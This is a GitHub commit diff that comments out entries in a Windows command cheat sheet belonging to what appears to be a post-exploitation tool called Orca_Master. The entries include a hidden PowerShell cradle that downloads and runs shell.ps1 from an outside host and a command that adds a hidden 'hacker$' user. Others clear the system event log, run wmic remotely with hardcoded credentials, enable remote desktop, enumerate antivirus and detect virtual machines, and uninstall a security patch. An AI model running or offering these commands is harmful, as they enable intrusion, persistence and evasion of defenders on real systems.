Skip to content

Commit 8b5cc3c

Browse files
PtkatzPtkatz
authored
Update cmd_cheatsheet.yaml
1 parent fdd0cfc commit 8b5cc3c

File tree

1 file changed

+103
-103
lines changed

1 file changed

+103
-103
lines changed

‎Orca_Master/3rd_party/windows/cmd_cheatsheet.yaml‎

Lines changed: 103 additions & 103 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,10 @@ cheatsheet:
99
description: add user to admin group
1010
privilege: administrator
1111

12-
-
13-
cmd: mshta vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c net user hacker$ 123456@cctv /add\",\"\",\"runas\",1)(window.close)
14-
description: add new user (need to be turned off UAC!)
15-
privilege: user
12+
# -
13+
# cmd: mshta vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c net user hacker$ 123456@cctv /add\",\"\",\"runas\",1)(window.close)
14+
# description: add new user (need to be turned off UAC!)
15+
# privilege: user
1616

1717
-
1818
cmd: whoami /all /fo list
@@ -49,15 +49,15 @@ cheatsheet:
4949
description: registry add startup items (HKCU)
5050
privilege: administrator
5151

52-
-
53-
cmd: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /t REG_DWORD /v portnumber /d 3389 /f
54-
description: open 3389 remote desktop (step_1:set remote desktop port)
55-
privilege: administrator
52+
# -
53+
# cmd: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /t REG_DWORD /v portnumber /d 3389 /f
54+
# description: open 3389 remote desktop (step_1:set remote desktop port)
55+
# privilege: administrator
5656

57-
-
58-
cmd: wmic RDTOGGLE WHERE ServerName=\"%COMPUTERNAME%\" call SetAllowTSConnections 1 && netstat -an|findstr 3389
59-
description: open 3389 remote desktop (step_2:wmic opens remote desktop)
60-
privilege: administrator
57+
# -
58+
# cmd: wmic RDTOGGLE WHERE ServerName=\"%COMPUTERNAME%\" call SetAllowTSConnections 1 && netstat -an|findstr 3389
59+
# description: open 3389 remote desktop (step_2:wmic opens remote desktop)
60+
# privilege: administrator
6161

6262
-
6363
cmd: sc query
@@ -84,15 +84,15 @@ cheatsheet:
8484
description: displays all wireless network configurations on the local computer
8585
privilege: user
8686

87-
-
88-
cmd: netsh interface ipv4 show config
89-
description: display local ip address and other network info
90-
privilege: user
87+
# -
88+
# cmd: netsh interface ipv4 show config
89+
# description: display local ip address and other network info
90+
# privilege: user
9191

92-
-
93-
cmd: netsh interface ipv4 set dnsservers name=\"WLAN 2\" static 10.0.0.1 primary
94-
description: modify dns config
95-
privilege: administrator
92+
# -
93+
# cmd: netsh interface ipv4 set dnsservers name=\"WLAN 2\" static 10.0.0.1 primary
94+
# description: modify dns config
95+
# privilege: administrator
9696

9797
-
9898
cmd: arp -a
@@ -109,60 +109,60 @@ cheatsheet:
109109
description: enumerate summaries of all processes
110110
privilege: user
111111

112-
-
113-
cmd: wmic useraccount list full
114-
description: list all info of all local users
115-
privilege: user
112+
# -
113+
# cmd: wmic useraccount list full
114+
# description: list all info of all local users
115+
# privilege: user
116116

117-
-
118-
cmd: wmic share list
119-
description: list all shared resources locally
120-
privilege: user
117+
# -
118+
# cmd: wmic share list
119+
# description: list all shared resources locally
120+
# privilege: user
121121

122-
-
123-
cmd: wmic service get caption,name,startmode,state
124-
description: list services
125-
privilege: user
122+
# -
123+
# cmd: wmic service get caption,name,startmode,state
124+
# description: list services
125+
# privilege: user
126126

127-
-
128-
cmd: wmic product get name
129-
description: get a list of installed apps
130-
privilege: user
127+
# -
128+
# cmd: wmic product get name
129+
# description: get a list of installed apps
130+
# privilege: user
131131

132-
-
133-
cmd: wmic sysdriver get caption,name,pathname,servicetype,state,status /format:list
134-
description: get driver info
135-
privilege: user
132+
# -
133+
# cmd: wmic sysdriver get caption,name,pathname,servicetype,state,status /format:list
134+
# description: get driver info
135+
# privilege: user
136136

137-
-
138-
cmd: wmic os get /format:list
139-
description: get operating system details
140-
privilege: user
137+
# -
138+
# cmd: wmic os get /format:list
139+
# description: get operating system details
140+
# privilege: user
141141

142-
-
143-
cmd: wmic onboarddevice get description,devicetype,enabled
144-
description: determine whether the system is a virtual machine through onboard info
145-
privilege: user
142+
# -
143+
# cmd: wmic onboarddevice get description,devicetype,enabled
144+
# description: determine whether the system is a virtual machine through onboard info
145+
# privilege: user
146146

147-
-
148-
cmd: wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get DisplayName,PathToSignedProductExe
149-
description: Enumerates info about the target anti-virus product
150-
privilege: user
147+
# -
148+
# cmd: wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get DisplayName,PathToSignedProductExe
149+
# description: Enumerates info about the target anti-virus product
150+
# privilege: user
151151

152-
-
153-
cmd: wmic startup get caption,command,location,user
154-
description: view startup items
155-
privilege: user
152+
# -
153+
# cmd: wmic startup get caption,command,location,user
154+
# description: view startup items
155+
# privilege: user
156156

157-
-
158-
cmd: wmic nteventlog where filename=\"system\" cleareventlog
159-
description: clear system log records
160-
privilege: administrator
157+
# -
158+
# cmd: wmic nteventlog where filename=\"system\" cleareventlog
159+
# description: clear system log records
160+
# privilege: administrator
161161

162-
-
163-
cmd: wmic /node:192.168.123.113 /password:\"123456\" /user:\"administrator\" process call create \"cmd.exe /c shutdown /p\"
164-
description: execute commands remotely
165-
privilege: user
162+
# -
163+
# cmd: wmic /node:192.168.123.113 /password:\"123456\" /user:\"administrator\" process call create \"cmd.exe /c shutdown /p\"
164+
# description: execute commands remotely
165+
# privilege: user
166166

167167
-
168168
cmd: net view /domain:XXX
@@ -244,42 +244,42 @@ cheatsheet:
244244
description: install msi installation package
245245
privilege: user
246246

247-
-
248-
cmd: powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:7789/shell.ps1')\";
249-
description: powerShell load remote script
250-
privilege: user
251-
252-
-
253-
cmd: mshta vbscript:msgbox(\"hello\",36,\"are you ok?\")(window.close)
254-
description: pop up message box
255-
privilege: user
256-
257-
-
258-
cmd: mshta vbscript:CreateObject(\"sapi.spvoice\").speak(\"Hello!I am Hacker\")(window.close)
259-
description: voice reading
260-
privilege: user
261-
262-
-
263-
cmd: mshta vbscript:CreateObject(\"Shell.Application\").MinimizeAll()(window.close)
264-
description: minimize the desktop window
265-
privilege: user
266-
267-
-
268-
cmd: rundll32 user32.dll,LockWorkStation
269-
description: lock screen
270-
privilege: user
271-
272-
-
273-
cmd: rundll32 powrprof.dll,SetSuspendState
274-
description: put the computer to sleep
275-
privilege: user
276-
277-
-
278-
cmd: rundll32 url.dll,FileProtocolHandler https://github.com/Ptkatz
279-
description: open the Web page
280-
privilege: user
281-
282-
-
283-
cmd: wusa /uninstall /kb:4012598 /quiet /norestart
284-
description: uninstall the KB patch
285-
privilege: user
247+
# -
248+
# cmd: powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:7789/shell.ps1')\";
249+
# description: powerShell load remote script
250+
# privilege: user
251+
252+
# -
253+
# cmd: mshta vbscript:msgbox(\"hello\",36,\"are you ok?\")(window.close)
254+
# description: pop up message box
255+
# privilege: user
256+
257+
# -
258+
# cmd: mshta vbscript:CreateObject(\"sapi.spvoice\").speak(\"Hello!I am Hacker\")(window.close)
259+
# description: voice reading
260+
# privilege: user
261+
262+
# -
263+
# cmd: mshta vbscript:CreateObject(\"Shell.Application\").MinimizeAll()(window.close)
264+
# description: minimize the desktop window
265+
# privilege: user
266+
267+
# -
268+
# cmd: rundll32 user32.dll,LockWorkStation
269+
# description: lock screen
270+
# privilege: user
271+
272+
# -
273+
# cmd: rundll32 powrprof.dll,SetSuspendState
274+
# description: put the computer to sleep
275+
# privilege: user
276+
277+
# -
278+
# cmd: rundll32 url.dll,FileProtocolHandler https://github.com/Ptkatz
279+
# description: open the Web page
280+
# privilege: user
281+
282+
# -
283+
# cmd: wusa /uninstall /kb:4012598 /quiet /norestart
284+
# description: uninstall the KB patch
285+
# privilege: user

0 commit comments

Comments
 (0)